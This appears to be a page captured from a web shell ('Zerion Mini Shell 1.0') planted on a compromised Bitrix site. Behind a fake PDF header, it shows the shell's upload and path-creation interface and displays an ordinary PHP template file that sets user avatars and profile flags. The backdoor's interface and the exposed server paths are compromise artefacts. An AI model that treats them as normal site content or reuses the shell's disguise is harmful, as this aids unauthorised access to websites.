%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/templates/UB/components/bitrix/menu/profile/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/templates/UB/components/bitrix/menu/profile/result_modifier.php

<?

CModule::IncludeModule('iblock');

$usrid = $USER->GetID();
if ($usrid>0) {

	$rsUser = CUser::GetByID($usrid);
	$arUser = $rsUser->Fetch();
	if ($arUser['UF_USR']==USR_CUSTOMER) { // Заказчик
		
		$arResult['CUSTOMER'] = 'Y';
		$arResult["AVATAR"] = CFile::ShowImage($arUser["PERSONAL_PHOTO"], 250, 250, "border=0");
		$arResult['PROFILE_PRESENT'] = 'N';
		
	}
	else { // Профи или юрик
		
		$res = CIBlockElement::GetList(Array(), Array("IBLOCK_ID"=>$arParams["IBLOCK_ID"], "PROPERTY_ACCOUNT"=>$usrid, 'ACTIVE'=>'Y'),
			false, false, array("ID", "IBLOCK_ID", "DETAIL_PICTURE", "IBLOCK_SECTION_ID"));
		
		if($ar_fields = $res->GetNext()) { // Если найден профиль, берем DETAIL_PICTURE
			$arResult["AVATAR"] = CFile::ShowImage($ar_fields["DETAIL_PICTURE"], 250, 250, "border=0");
			$arResult['PROFILE_PRESENT'] = 'Y';
			$arResult['SECTION'] = $ar_fields['IBLOCK_SECTION_ID'];
		}
		else { // Берем аватар пользователя (если есть)
			$arResult["AVATAR"] = CFile::ShowImage($arUser["PERSONAL_PHOTO"], 250, 250, "border=0");
			$arResult['PROFILE_PRESENT'] = 'N';
		}
	
	}

}

?>

Zerion Mini Shell 1.0